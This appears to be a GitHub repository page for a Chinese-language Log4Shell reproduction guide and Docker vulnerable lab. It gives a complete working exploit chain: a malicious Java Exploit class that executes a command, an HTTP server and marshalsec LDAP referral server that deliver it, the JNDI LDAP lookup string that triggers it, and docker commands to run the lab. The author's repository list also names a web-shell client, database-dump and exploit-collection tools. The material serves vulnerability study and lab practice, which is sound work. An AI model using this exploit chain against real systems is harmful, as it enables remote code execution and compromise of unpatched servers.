• Stars
    star
    102
  • Rank 333,592 (Top 7 %)
  • Language
  • Created almost 3 years ago
  • Updated about 2 years ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

log4j漏洞靶场docker-compose

Log4J 漏洞复现+漏洞靶场

昨天晚上朋友圈算是过了年了,一个log4j大伙都忙了起来,看着朋友圈好久没这么热闹了。Apache 的这个log4j这个影响范围的确是大,包括我自己做开发的时候也会用到log4j,这就很尴尬了。

大家也不要在公网上疯狂测试了,我给大家带来了漏洞靶场,攻击视频在下文,一步一步教你。

漏洞原理我改天会详细的写一篇文章出来,今天就主要是复现一下漏洞。

昨晚爆出的log4j rce 是通过lookup触发的漏洞,但jdk1.8.191以上默认不支持ldap协议,对于高版本jdk,则需要一定的依赖。不过为了给大家最简单的说明,我这里还是用jdk1.8.144的版本来运行。

这个漏洞和fastjson的漏洞利用如出一辙,首先需要编写一个恶意类。

public class Exploit {
    public Exploit(){
        try{
            // 要执行的命令
            String[] commands = {"open", "/System/Applications/Calculator.app"};
            Process pc = Runtime.getRuntime().exec(commands);
            pc.waitFor();
        } catch(Exception e){
            e.printStackTrace();
        }
    }

    public static void main(String[] argv) {
        Exploit e = new Exploit();
    }
}

这里是弹出计算器

把这个类编译之后会得到一个Exploit.class,然后需要在当前目录下启动一个web服务,

python3 -m http.server 8100

然后用**marshalsec** IDAP服务,项目地址:https://github.com/mbechler/marshalsec

java -cp /Users/fengxuan/Downloads/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8100/#Exploit"

漏洞类

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class log4j {
    private static final Logger logger = LogManager.getLogger(log4j.class);

    public static void main(String[] args) {
        logger.error(   "${jndi:ldap://127.0.0.1:1389/Exploit}");
    }
}

最后运行

演示视频:

https://www.bilibili.com/video/bv1WP4y137PP

漏洞靶场

为了互联网的安全,也为了给大家学习的环境,有很多同学不知道如何复现,我搭建了一个漏洞靶场,我编写的docker-compose.yml

地址是:https://github.com/fengxuangit/log4j_vuln

或者直接运行命令

docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker run -it -d -p 8080:8080 --name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln 
docker exec -it log4j_vuln_container /bin/bash
/bin/bash /home/apache-tomcat-8.5.45/bin/startup.sh 

然后访问你的8080的端口,按照视频教程玩就行。你的靶场你自己随便玩!

More Repositories

1

Fox-scan

Fox-scan is a initiative and passive SQL Injection vulnerable Test tools.
Python
403
star
2

searchku

searchku 信息查询软件,没有数据。
PHP
211
star
3

dede_exp_collect

collection dedecms exp use pocsuite framework 收集织梦的一些漏洞,并用pocsuite框架写出利用程序。打造一键日dede
Python
154
star
4

pyshell

python版菜刀 连接一句话木马
Python
37
star
5

DumpDB

DumpDB Dump database from mysql, mysql脱裤脚本
Java
19
star
6

ChromeRce

2021年4月15日出现的Chrome payload
HTML
14
star
7

mp4tom3u8

将mp4转为m3u8,用于流媒体服务器视频
Shell
8
star
8

discuz_crack01

discuz_crack01
PHP
6
star
9

FoxPentestManual

渗透测试手册
6
star
10

secnode

风炫安全Web安全公开课第一期笔记
5
star
11

port_stream_count

利用tcpdump抓包和awk处理写的基于端口的流量统计,http://www.socks5s.com/ 用到的流量统计就是基于这个统计的
Shell
5
star
12

discuz-x-CodeInjection

discuz系列代码执行漏洞
4
star
13

payment

聚合支付源码,支持微信支付宝支付
PHP
4
star
14

AdultWeb

this repository is our Adult product website
PHP
4
star
15

socks5s.com_script

This Code for http://www.socks5s.com/ back-end code
Python
3
star
16

socks5s.com

This Code for http://www.socks5s.com/ website code
PHP
3
star
17

Telnet-crack

Telnet——crack (python)
Python
2
star
18

taobaoke

taobaoke project
PHP
2
star
19

ImportFile2Mysql

Import file to mysql,support all the file Mysql数据库导入脚本
Python
2
star
20

fengxuangit

1
star
21

MyAndroidApps

this repository is collect my apps . Some need to charge .
1
star
22

MyScript

This repository is for My Script collection
Python
1
star
23

weakDeviceScan

扫描网段内存在弱点的设备或者应用
Python
1
star
24

hexoblog

fuck hexo
JavaScript
1
star
25

channelBackend

this repository is for little project
CSS
1
star
26

xiuded

将城市名称转换为经纬度
Python
1
star
27

blog-api-view

blog code by django rest framework
JavaScript
1
star
28

webkit-Dynamic-spider

this repository is use for my webkit-Dynamic-spider practive
JavaScript
1
star
29

spiderSomeSite

Python
1
star
30

Daniel

Daniel 取自圣经,意思是"神之审判"。以这个名字来代表这个项目的寓意。
1
star